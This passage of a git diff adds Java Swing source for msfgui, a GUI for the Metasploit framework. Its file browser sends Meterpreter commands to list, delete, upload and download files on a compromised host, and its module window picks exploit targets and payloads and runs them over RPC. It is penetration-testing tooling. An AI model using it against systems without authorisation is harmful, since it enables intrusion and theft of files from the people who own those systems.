+ /** Sets look and feel of UI */ + private void setLnF(boolean toggle) { + try { + Element info = MsfguiApp.getPropertiesNode(); + boolean system = !info.getAttribute("LnF").equals("Metal"); + if (toggle) + system = !system; + if (system) { + UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); + info.setAttribute("LnF", "system"); + } else { + // Set cross-platform Java L&F (also called "Metal") + UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClassName()); + info.setAttribute("LnF", "Metal"); + } + SwingUtilities.updateComponentTreeUI(this.getFrame()); + this.getFrame().pack(); + } catch (Exception e) { + JOptionPane.showMessageDialog(getFrame(), e); + } + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.form b/external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.form new file mode 100644 index 0000000000..7b36a06684 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.form @@ -0,0 +1,176 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ +
+
+
+
+ + + + + + + + + + + + + + + + + + +
+ diff --git a/external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.java b/external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.java new file mode 100644 index 0000000000..2fa9fafb9d --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MeterpFileBrowser.java @@ -0,0 +1,503 @@ + +package msfgui; + +import java.awt.Component; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.awt.event.MouseEvent; +import java.io.File; +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Vector; +import java.util.concurrent.locks.ReentrantLock; +import javax.swing.JOptionPane; +import javax.swing.Icon; +import javax.swing.JFileChooser; +import javax.swing.JLabel; +import javax.swing.JMenuItem; +import javax.swing.JPopupMenu; +import javax.swing.JTable; +import javax.swing.Timer; +import javax.swing.filechooser.FileSystemView; +import javax.swing.table.DefaultTableCellRenderer; +import javax.swing.table.DefaultTableModel; + +/** + * @author scriptjunkie + */ +public class MeterpFileBrowser extends MsfFrame { + protected Map session, sessionPopupMap; + protected final RpcConnection rpcConn; + protected ReentrantLock lock; + protected Map files; + protected List fileVector; + protected Timer readTimer = null; + protected final Icon folderIcon, fileIcon; + protected JFileChooser fchooser; + protected JPopupMenu popupMenu; + protected final DefaultTableModel model; + protected InteractWindow interactWin; + + /** Creates a new window for interacting with filesystem */ + public MeterpFileBrowser(final RpcConnection rpcConn, final Map session, Map sessionPopupMap) { + super("Meterpreter remote file browsing"); + this.rpcConn = rpcConn; + this.session = session; + this.interactWin = ((InteractWindow)sessionPopupMap.get(session.get("uuid"))); + this.lock = interactWin.lock; + files = new HashMap(); + fileVector = new Vector(100); + initComponents(); + model = new DefaultTableModel(){ + public boolean isCellEditable(int row, int col){ + return false; + } + }; + mainTable.setModel(model); + mainTable.setShowHorizontalLines(false); + mainTable.setShowVerticalLines(false); + fchooser = new JFileChooser(); + + final FileSystemView view = FileSystemView.getFileSystemView(); + folderIcon = view.getSystemIcon(view.getDefaultDirectory()); + File tempFile = null; + try{ + tempFile = File.createTempFile("temp", ".txt"); + tempFile.delete(); + } catch (IOException iox){ + JOptionPane.showMessageDialog(null, "Cannot create temp file. Weird."); + } + fileIcon = view.getSystemIcon(tempFile); + tempFile.delete(); + mainTable.setDefaultRenderer(Object.class,new DefaultTableCellRenderer(){ + @Override + public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col){ + // Get the renderer component from parent class + JLabel label = (JLabel) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, col); + if(!mainTable.getColumnName(col).equals("Name")){ + label.setIcon(null); + return label; + } + if(files.get(value) != null && files.get(value).equals("dir")){ + label.setIcon(folderIcon); + return label; + } + try{ + File tempFile = File.createTempFile("temp",value.toString()); + label.setIcon(view.getSystemIcon(tempFile)); + tempFile.delete(); + } catch (IOException iox){ + label.setIcon(fileIcon); + } + return label; + } + }); + fchooser.setMultiSelectionEnabled(false); + popupMenu = new JPopupMenu(); + JMenuItem men = new JMenuItem("Delete"); + men.addActionListener(new ActionListener(){ + public void actionPerformed(ActionEvent e) { + delete(); + } + }); + popupMenu.add(men); + men = new JMenuItem("Download"); + men.addActionListener(new ActionListener(){ + public void actionPerformed(ActionEvent e) { + download(); + } + }); + popupMenu.add(men); + setupPopupMenu( rpcConn, session); + } + + /** Calls meterpreter_write with the session ID and Base64 encoded text. */ + private Object executeCommand(String text) throws MsfException{ + return rpcConn.execute("session.meterpreter_write", new Object[]{session.get("id"), + Base64.encode(text.getBytes())}); + } + /** Handles click events, like popup menu and double-click navigation */ + protected void setupPopupMenu(final RpcConnection rpcConn, final Map session) { + mainTable.addMouseListener(new PopupMouseListener() { + public void doubleClicked(MouseEvent e) { + //show interaction window on double-click + int indx = mainTable.getSelectedRow(); + if (indx == -1) + return; + String clickedFile = mainTable.getValueAt(indx, 0).toString(); + if (files.get(clickedFile).equals("dir")) { + try { + executeCommand("cd \"" + clickedFile + "\"\n"); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + getFiles(); + } else { + download(); + } + } + + public void showPopup(MouseEvent e) { + int indx = mainTable.getSelectedRow(); + if (indx == -1) + return; + if (e.isPopupTrigger()) + popupMenu.show(mainTable, e.getX(), e.getY()); + } + }); + } + + /** Deletes selected file */ + protected void delete() { + int indx = mainTable.getSelectedRow(); + if (indx == -1) + return; + String clickedFile = mainTable.getValueAt(indx, 0).toString(); + try { + if (files.get(clickedFile).equals("dir")) + executeCommand("rmdir \"" + clickedFile + "\"\n"); + else + executeCommand("rm \"" + clickedFile + "\"\n"); + } catch (MsfException ex) { + JOptionPane.showMessageDialog(null, ex); + } + getFiles(); + } + + /** Retrieves list of files. */ + protected void getFiles() { + while(model.getRowCount() > 0) + model.removeRow(0); + try { + executeCommand("ls\n"); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + if(readTimer != null && readTimer.isRunning()) + return; + readTimer = new Timer(300, new ActionListener() { + public void actionPerformed(ActionEvent e) { + try { + Map received = (Map) rpcConn.execute("session.meterpreter_read", new Object[]{session.get("id")}); + if (! received.get("encoding").equals("base64")) { + JOptionPane.showMessageDialog(null, "uhoh. encoding changed. Time to update msfgui?"); + return; + } + byte[] decodedBytes = Base64.decode(received.get("data").toString()); + if (decodedBytes.length == 0) + return; + String[] lines = new String(decodedBytes).split("\n"); + String headerRow = null; + String headerNames = null; + for(String line : lines){ + line = line.trim(); + if(line.startsWith("Listing")){ + pwdLabel.setText(line); + }else if(line.startsWith("Mode")){ + headerNames = line; + }else if(line.startsWith("-")){ + headerRow = line; + model.setColumnIdentifiers(TableHelper.fill(headerNames,line)); + while(model.getRowCount() > 0) + model.removeRow(0); + } + if(line.length() == 0 || line.charAt(0) < '0' || line.charAt(0) > '9') + continue; + String filename = line.substring(getEndOfWhitespaceBlock(line, 6)); + fileVector.add(filename); + int indx = getEndOfWhitespaceBlock(line, 2); + files.put(filename,line.substring(indx,indx+3)); + model.addRow(TableHelper.fill(line,headerRow)); + } + readTimer.stop(); + TableHelper.fitColumnWidths(model, mainTable); + int nameColumn = mainTable.getColumnCount()-1; + for(int i = 0; i < mainTable.getColumnCount(); i++) + if(mainTable.getColumnName(i).equals("Name")) + nameColumn = i; + mainTable.moveColumn(nameColumn, 0); + readTimer.stop(); + } catch (Exception ex) { + ex.printStackTrace(); + if(ex.getMessage().equals("unknown session")) + readTimer.stop(); + JOptionPane.showMessageDialog(null, ex); + } + } + + /** Helps parsing responses. */ + private int getEndOfWhitespaceBlock(String line, int num) { + int whiteSpaces = 0; + int indx = 0; + while (whiteSpaces < num) { + if (Character.isWhitespace(line.charAt(indx)) && !Character.isWhitespace(line.charAt(indx + 1))) + whiteSpaces++; + indx++; + } + return indx; + } + }); + readTimer.start(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + downloadButton = new javax.swing.JButton(); + uploadButton = new javax.swing.JButton(); + deleteButton = new javax.swing.JButton(); + dirButton = new javax.swing.JButton(); + refreshButton = new javax.swing.JButton(); + pwdLabel = new javax.swing.JLabel(); + jScrollPane1 = new javax.swing.JScrollPane(); + mainTable = new javax.swing.JTable(); + upButton = new javax.swing.JButton(); + recSearchDownloadButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosed(java.awt.event.WindowEvent evt) { + formWindowClosed(evt); + } + public void windowOpened(java.awt.event.WindowEvent evt) { + formWindowOpened(evt); + } + }); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(MeterpFileBrowser.class); + downloadButton.setText(resourceMap.getString("downloadButton.text")); // NOI18N + downloadButton.setName("downloadButton"); // NOI18N + downloadButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + downloadButtonActionPerformed(evt); + } + }); + + uploadButton.setText(resourceMap.getString("uploadButton.text")); // NOI18N + uploadButton.setName("uploadButton"); // NOI18N + uploadButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + uploadButtonActionPerformed(evt); + } + }); + + deleteButton.setText(resourceMap.getString("deleteButton.text")); // NOI18N + deleteButton.setName("deleteButton"); // NOI18N + deleteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + deleteButtonActionPerformed(evt); + } + }); + + dirButton.setText(resourceMap.getString("dirButton.text")); // NOI18N + dirButton.setName("dirButton"); // NOI18N + dirButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + dirButtonActionPerformed(evt); + } + }); + + refreshButton.setText(resourceMap.getString("refreshButton.text")); // NOI18N + refreshButton.setName("refreshButton"); // NOI18N + refreshButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + refreshButtonActionPerformed(evt); + } + }); + + pwdLabel.setText(resourceMap.getString("pwdLabel.text")); // NOI18N + pwdLabel.setName("pwdLabel"); // NOI18N + + jScrollPane1.setName("jScrollPane1"); // NOI18N + + mainTable.setModel(new javax.swing.table.DefaultTableModel( + new Object [][] { + + }, + new String [] { + "Title 1", "Title 2", "Title 3", "Title 4" + } + )); + mainTable.setName("mainTable"); // NOI18N + jScrollPane1.setViewportView(mainTable); + + upButton.setText(resourceMap.getString("upButton.text")); // NOI18N + upButton.setName("upButton"); // NOI18N + upButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + upButtonActionPerformed(evt); + } + }); + + recSearchDownloadButton.setText(resourceMap.getString("recSearchDownloadButton.text")); // NOI18N + recSearchDownloadButton.setName("recSearchDownloadButton"); // NOI18N + recSearchDownloadButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + recSearchDownloadButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 731, Short.MAX_VALUE) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(refreshButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 69, Short.MAX_VALUE) + .addComponent(recSearchDownloadButton) + .addGap(18, 18, 18) + .addComponent(dirButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(uploadButton) + .addGap(18, 18, 18) + .addComponent(deleteButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(downloadButton)) + .addGroup(layout.createSequentialGroup() + .addComponent(pwdLabel) + .addGap(18, 18, 18) + .addComponent(upButton))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(pwdLabel) + .addComponent(upButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 532, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(downloadButton) + .addComponent(deleteButton) + .addComponent(uploadButton) + .addComponent(dirButton) + .addComponent(refreshButton) + .addComponent(recSearchDownloadButton)) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void formWindowClosed(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosed + lock.unlock(); + }//GEN-LAST:event_formWindowClosed + + private void formWindowOpened(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowOpened + lock.lock(); + // Some exploits open in C:\Windows\system32. Too many files in there! Try to move to C:\ which should be more manageable + try { + executeCommand("cd \"C:\\\\\"\n"); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + getFiles(); + }//GEN-LAST:event_formWindowOpened + + private void downloadButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_downloadButtonActionPerformed + download(); + }//GEN-LAST:event_downloadButtonActionPerformed + + private void uploadButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_uploadButtonActionPerformed + fchooser.setDialogTitle("Select file to upload"); + fchooser.setFileSelectionMode(JFileChooser.FILES_ONLY); + if(fchooser.showOpenDialog(this) != JFileChooser.APPROVE_OPTION) + return; + try { + executeCommand("lcd \""+MsfguiApp.cleanBackslashes(fchooser.getSelectedFile().getParent()) + "\"\n"); + executeCommand("upload \""+fchooser.getSelectedFile().getName() + "\"\n"); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + getFiles(); + }//GEN-LAST:event_uploadButtonActionPerformed + + private void deleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_deleteButtonActionPerformed + delete(); + }//GEN-LAST:event_deleteButtonActionPerformed + + private void dirButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_dirButtonActionPerformed + String newDir = JOptionPane.showInputDialog(this,"New directory name","Choose Directory Name",JOptionPane.QUESTION_MESSAGE); + if(newDir == null) + return; + try { + executeCommand("mkdir \""+newDir + "\"\n"); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + getFiles(); + }//GEN-LAST:event_dirButtonActionPerformed + + private void refreshButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_refreshButtonActionPerformed + getFiles(); + }//GEN-LAST:event_refreshButtonActionPerformed + + private void upButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_upButtonActionPerformed + try { + executeCommand("cd ..\n"); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + getFiles(); + }//GEN-LAST:event_upButtonActionPerformed + + private void recSearchDownloadButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_recSearchDownloadButtonActionPerformed + try{ + String currentDir = pwdLabel.getText().substring(pwdLabel.getText().indexOf(' ')+1); + rpcConn.execute("session.meterpreter_script", new Object[]{session.get("id"), + new SearchDwldOptionsDialog(this, currentDir).toString()}); + setVisible(false); + dispose(); + interactWin.setVisible(true); + }catch (NullPointerException nex){//cancelled + }catch (Exception ex){ + JOptionPane.showMessageDialog(null, ex); + } + }//GEN-LAST:event_recSearchDownloadButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton deleteButton; + private javax.swing.JButton dirButton; + private javax.swing.JButton downloadButton; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JTable mainTable; + private javax.swing.JLabel pwdLabel; + private javax.swing.JButton recSearchDownloadButton; + private javax.swing.JButton refreshButton; + private javax.swing.JButton upButton; + private javax.swing.JButton uploadButton; + // End of variables declaration//GEN-END:variables + + private void download() { + int indx = mainTable.getSelectedRow(); + if (indx == -1) + return; + Object o = mainTable.getValueAt(indx, 0); + String clickedFile = o.toString(); + fchooser.setDialogTitle("Select destination folder"); + fchooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); + if(fchooser.showSaveDialog(this) != JFileChooser.APPROVE_OPTION) + return; + try { + executeCommand("lcd \""+MsfguiApp.cleanBackslashes(fchooser.getSelectedFile().toString()) + "\"\n"); + executeCommand("download \""+clickedFile + "\"\n"); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/ModulePopup.form b/external/source/gui/msfguijava/src/msfgui/ModulePopup.form new file mode 100644 index 0000000000..7d58c9e0cb --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ModulePopup.form @@ -0,0 +1,230 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/ModulePopup.java b/external/source/gui/msfguijava/src/msfgui/ModulePopup.java new file mode 100644 index 0000000000..9d45b8ecde --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ModulePopup.java @@ -0,0 +1,662 @@ +/* + * ModulePopup.java + * + * Created on May 15, 2010, 12:32:03 AM + */ +package msfgui; + +import java.awt.Component; +import java.awt.HeadlessException; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.util.ArrayList; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Map; +import javax.swing.GroupLayout; +import javax.swing.GroupLayout.ParallelGroup; +import javax.swing.GroupLayout.SequentialGroup; +import javax.swing.JEditorPane; +import javax.swing.JMenu; +import javax.swing.JOptionPane; +import javax.swing.JRadioButton; +import javax.swing.JScrollPane; +import javax.swing.JTextField; +import javax.swing.event.TreeSelectionEvent; +import javax.swing.event.TreeSelectionListener; +import javax.swing.tree.DefaultMutableTreeNode; +import javax.swing.tree.DefaultTreeModel; +import javax.swing.tree.TreePath; +import javax.swing.tree.TreeSelectionModel; + +/** + * + * @author scriptjunkie + */ +public class ModulePopup extends MsfFrame implements TreeSelectionListener{ + private JMenu recentMenu; + private String moduleType; + private String fullName; + private RpcConnection rpcConn; + private String payload; + private String target; + private ArrayList requiredOpts; // I love how these options aren't optional + private ArrayList optionalOpts; + private ArrayList advancedOpts; + + /** Creates new ModulePopup from recent run */ + public ModulePopup(RpcConnection rpcConn, Object[] args, JMenu recentMenu) { + this(args[1].toString(), rpcConn, args[0].toString(), recentMenu); + Map opts = (Map)args[2]; + if(args[0].toString().equals("exploit")){ + //Set target + target = opts.get("TARGET").toString(); + for (Component comp : mainPanel.getComponents()){ + if(comp instanceof JRadioButton){ + JRadioButton but = (JRadioButton)comp; + if(but.getName().equals("targetsButton"+target)){ + but.setSelected(true); + break; + } + } + } + //Set payload + showPayloads(rpcConn, fullName, target, opts.get("PAYLOAD").toString()); + } + //Set options + for(Component comp : mainPanel.getComponents()){ + if(!(comp instanceof JTextField)) + continue; + JTextField optionField = (JTextField)comp; + Object optionVal = opts.get(optionField.getName().substring("field".length())); + if(optionVal != null) + optionField.setText(optionVal.toString()); + } + } + /** Creates new ModulePopup */ + public ModulePopup(String fullName, RpcConnection rpcConn, String moduleType, JMenu recentMenu) { + this.recentMenu = recentMenu; + initComponents(); + exploitButton.setText("Run "+moduleType); + exploitButton1.setText("Run "+moduleType); + this.moduleType = moduleType; + requiredOpts = new ArrayList(); + optionalOpts = new ArrayList(); + advancedOpts = new ArrayList(); + this.fullName = fullName; + setTitle(fullName); + payload = ""; + this.rpcConn = rpcConn; + showModuleInfo(rpcConn, fullName); + if(moduleType.equals("exploit")){ + payloadTree.getSelectionModel().setSelectionMode(TreeSelectionModel.SINGLE_TREE_SELECTION); + //Listen for when the selection changes. + payloadTree.addTreeSelectionListener(this); + payloadTree.setToggleClickCount(1); + } else { + mainPanel.remove(payloadScrollPane); + mainPanel.remove(targetsLabel); + } + descriptionBox.setFont(authorsLabel.getFont()); + descriptionBox.setBackground(authorsLabel.getBackground()); + mainScrollPane.getVerticalScrollBar().setUnitIncrement(40); + } + + /** Sets selected payload to the official payload */ + public void valueChanged(TreeSelectionEvent e) { + DefaultMutableTreeNode node = (DefaultMutableTreeNode)payloadTree.getLastSelectedPathComponent(); + if (node == null || !node.isLeaf()) + return; + payload = node.getUserObject().toString(); + while(node.getParent() != node.getRoot()){ + node = (DefaultMutableTreeNode)node.getParent(); + payload = node.getUserObject() + "/" + payload; + } + showOptions(); + } + + /** Displays targetsMap on frame */ + private void showModuleInfo(final RpcConnection rpcConn, final String fullName) throws HeadlessException { + try { //Get info + Map info = (Map) rpcConn.execute("module.info", new Object[]{moduleType, fullName}); + //Basic info + setTitle(info.get("name") + " " + fullName); + titleLabel.setText("

"+info.get("name")+ "

"); + Object references = info.get("references"); + StringBuilder referenceString = new StringBuilder(); + if(references != null){ + Object[] refArray = (Object[])references; + referenceString.append("
References:
"); + for(int i = 0; i < refArray.length; i++){ + Object[] ref = (Object[])refArray[i]; + referenceString.append(ref[0]+": "+ref[1]+"
"); + } + referenceString.append("
"); + } + descriptionBox.setText("Description "+info.get("description").toString().replaceAll("\\s+", " ")+referenceString+""); + if(info.get("license") instanceof String){ + licenseLabel.setText("License: "+ info.get("license")+""); + }else{ + Object [] license = (Object[]) info.get("license"); + StringBuilder licenseString = new StringBuilder(); + for(int i = 0; i < license.length; i++) + licenseString.append(license[i]+" "); + licenseLabel.setText("License: "+ licenseString+""); + } + versionLabel.setText("Version: "+ info.get("version")+""); + //Authors + Object[] authors = (Object[]) info.get("authors"); + StringBuilder authorLine = new StringBuilder(); + if (authors.length > 0) + authorLine.append(authors[0].toString()); + for (int i = 1; i < authors.length; i++) + authorLine.append(", " + authors[i]); + authorsLabel.setText("Authors: "+ authorLine.toString()+""); + if(moduleType.equals("exploit")){ + //Targets + Map targetsMap = (Map) info.get("targets"); + if(targetsMap == null){ + JOptionPane.showMessageDialog(this, "No Targets. ??"); + }else{ + String defaultTarget=""; + if(info.get("default_target") != null) + defaultTarget = info.get("default_target").toString(); + for (Object targetName : targetsMap.keySet()) { + JRadioButton radio = new JRadioButton(); + buttonGroup.add(radio); + radio.setText(targetsMap.get(targetName).toString()); // NOI18N + radio.setName("targetButton" + targetName); // NOI18N + radio.setActionCommand(targetName.toString()); + radio.addActionListener(new ActionListener(){ + public void actionPerformed(ActionEvent e) { + target = buttonGroup.getSelection().getActionCommand(); + showPayloads(rpcConn,fullName,target); + } + }); + mainPanel.add(radio); + if (targetName.equals(defaultTarget)) { + radio.setSelected(true); + showPayloads(rpcConn,fullName,targetName.toString()); + } + } + } + } else { //AUXILIARY + showOptions(); + } + } catch (MsfException ex) { + JOptionPane.showMessageDialog(rootPane, ex); + } + reGroup(); + } + + /** Creates payload menu. */ + private void showPayloads(RpcConnection rpcConn, String modName, String target) throws HeadlessException { + showPayloads(rpcConn, modName, target, null); + } + /** Creates payload menu. */ + private void showPayloads(RpcConnection rpcConn, String modName, String target, String defaultPayload) throws HeadlessException { + try { //Get info + Object[] mlist; + try { + mlist = (Object[])((Map)rpcConn.execute("module.compatible_payloads", + new Object[]{modName,target})).get("payloads"); //WARNING - ALTERED COMPATIBLE PAYLOAD RPC DEF + } catch (MsfException ex) { + mlist = (Object[])((Map)rpcConn.execute("module.compatible_payloads", + new Object[]{modName})).get("payloads"); //old rpc payload def + } + //Ok. it worked. now replace the payload list + + DefaultTreeModel payloadModel = (DefaultTreeModel)payloadTree.getModel(); + DefaultMutableTreeNode top = (DefaultMutableTreeNode)(payloadModel.getRoot()); + int count = top.getChildCount(); + for(int i = count - 1; i >=0; i--){ + payloadModel.removeNodeFromParent((DefaultMutableTreeNode)top.getChildAt(i)); + } + top.removeAllChildren(); + + DefaultMutableTreeNode defaultPayloadNode = null; + for (Object payloadFullName : mlist) { + String[] names = payloadFullName.toString().split("/"); + DefaultMutableTreeNode currentNode = top; + for (int i = 0; i < names.length; i++) { + boolean found = false; + for(int j = 0; j < currentNode.getChildCount(); j++){ + DefaultMutableTreeNode node = (DefaultMutableTreeNode)currentNode.getChildAt(j); + if(node.getUserObject().toString().equals(names[i])){ + if (i < names.length - 1) + currentNode = node; + found = true; + break; + } + } + if (found) + continue; + DefaultMutableTreeNode nod = new DefaultMutableTreeNode(names[i]); + payloadModel.insertNodeInto(nod, currentNode, 0); + if (i < names.length - 1) { + payloadTree.scrollPathToVisible(new TreePath(nod.getPath())); + currentNode = nod; + } + if(payloadFullName.equals(defaultPayload)) + defaultPayloadNode=nod; + }//end for each subname + }//end for each module + if(defaultPayloadNode != null){ + payloadTree.scrollPathToVisible(new TreePath(defaultPayloadNode.getPath())); + payloadTree.setSelectionPath(new TreePath(defaultPayloadNode.getPath())); + } + payloadTree.setRootVisible(false); + payloadTree.revalidate(); + } catch (MsfException ex) { + JOptionPane.showMessageDialog(rootPane, ex); + } + } + + /** Displays exploit and payload options. */ + private void showOptions() { + for(Object o : requiredOpts) + mainPanel.remove((Component)o); + requiredOpts.clear(); + for(Object o : optionalOpts) + mainPanel.remove((Component)o); + optionalOpts.clear(); + for(Object o : advancedOpts) + mainPanel.remove((Component)o); + advancedOpts.clear(); + try{ + //display options + Map options = (Map) rpcConn.execute("module.options", new Object[]{moduleType, fullName}); + // payload options + if(moduleType.equals("exploit")){ + if(payload.length() <= 0){ + JOptionPane.showMessageDialog(this, "You must select a payload."); + return; + } + options.putAll((Map) rpcConn.execute("module.options", new Object[]{"payload", payload.toString()})); + } + + for (Object optionName : options.keySet()) { + Map option = (Map)options.get(optionName); //{desc=blah, evasion=fals, advanced=false, required=true, type=port, default=blah} + JScrollPane containerPane = new JScrollPane(); + containerPane.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + + JEditorPane tempText = new JEditorPane(); + tempText.setContentType("text/html"); + tempText.setEditable(false); + tempText.setText(""+optionName.toString()+" " + option.get("desc") + ""); + containerPane.setViewportView(tempText); + containerPane.setViewportBorder(null); + containerPane.setBorder(null); + tempText.setBorder(null); + mainPanel.add(containerPane); + tempText.setBackground(authorsLabel.getBackground()); + tempText.setFont(authorsLabel.getFont()); + JTextField optionField = new JTextField(); + if (option.get("default") != null) { + optionField.setText(option.get("default").toString()); + } else if (optionName.equals("LHOST")){ //try to find local ip + optionField.setText(MsfguiApp.getLocalIp()); + } + optionField.setName("field" + optionName); + mainPanel.add(optionField); + if(option.get("required").equals(Boolean.TRUE)){ + requiredOpts.add(containerPane); + requiredOpts.add(optionField); + }else if (option.get("advanced").equals(Boolean.FALSE)){ + optionalOpts.add(containerPane); + optionalOpts.add(optionField); + }else{ + advancedOpts.add(containerPane); + advancedOpts.add(optionField); + } + } + } catch (MsfException ex) { + JOptionPane.showMessageDialog(rootPane, ex); + } + reGroup(); + } + + /** Runs the exploit with given options and payload. Closes window if successful. */ + private void runModule() { + try{ + //Put options into request + HashMap hash = new HashMap(); + //Exploit only stuff + if(moduleType.equals("exploit")){ + if(payload.length() <= 0){ + JOptionPane.showMessageDialog(rootPane, "You must select a payload"); + return; + } + hash.put("PAYLOAD",payload.toString()); + target = buttonGroup.getSelection().getActionCommand(); + hash.put("TARGET",target); + } + for(Component comp : mainPanel.getComponents()){ + if(!(comp instanceof JTextField)) + continue; + JTextField optionField = (JTextField)comp; + if(optionField.getText().length() > 0) + hash.put(optionField.getName().substring("field".length()), optionField.getText()); + } + //Execute and get results + final Object[] args = new Object[]{moduleType, fullName,hash}; + Map info = (Map) rpcConn.execute("module.execute",args); + if(!info.get("result").equals("success")) + JOptionPane.showMessageDialog(rootPane, info); + MsfguiApp.addRecentModule(args, recentMenu, rpcConn); + + //close out + this.setVisible(false); + this.dispose(); + } catch (MsfException ex) { + JOptionPane.showMessageDialog(rootPane, ex); + } + } + // +/* DELETEME! + private void wrapLabelText(JLabel label, String text) { + FontMetrics fm = label.getFontMetrics(label.getFont()); + Container container = label.getParent().getParent(); + int containerWidth = container.getWidth(); + + BreakIterator boundary = BreakIterator.getWordInstance(); + boundary.setText(text); + + StringBuffer trial = new StringBuffer(); + StringBuffer real = new StringBuffer(""); + + int start = boundary.first(); + for (int end = boundary.next(); end != BreakIterator.DONE; + start = end, end = boundary.next()) { + String word = text.substring(start, end); + trial.append(word); + int trialWidth = SwingUtilities.computeStringWidth(fm, trial.toString()); + if (trialWidth > containerWidth) { 